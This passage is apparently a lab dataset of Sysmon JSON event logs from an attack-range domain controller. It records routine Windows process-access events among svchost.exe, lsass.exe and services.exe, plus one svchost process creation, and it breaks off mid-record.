+{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":777,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":778,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":779,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":780,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":781,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1128\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1128","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":782,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1128\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1128","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":783,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 940\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"940","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":784,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.133\r\nProcessGuid: {90617006-3FD4-5F2D-0000-001041B90000}\r\nProcessId: 1140\r\nImage: C:\\Windows\\System32\\svchost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for Windows Services\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: svchost.exe\r\nCommandLine: C:\\Windows\\System32\\svchost.exe -k termsvcs\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\NETWORK SERVICE\r\nLogonGuid: {90617006-3FD3-5F2D-0000-0020E4030000}\r\nLogonId: 0x3E4\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.133","ProcessGuid":"{90617006-3FD4-5F2D-0000-001041B90000}","Image":"C:\\Windows\\System32\\svchost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for Windows Services","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"svchost.exe","CommandLine":"C:\\Windows\\System32\\svchost.exe -k termsvcs","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\NETWORK SERVICE","LogonGuid":"{90617006-3FD3-5F2D-0000-0020E4030000}","LogonId":"0x3e4","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 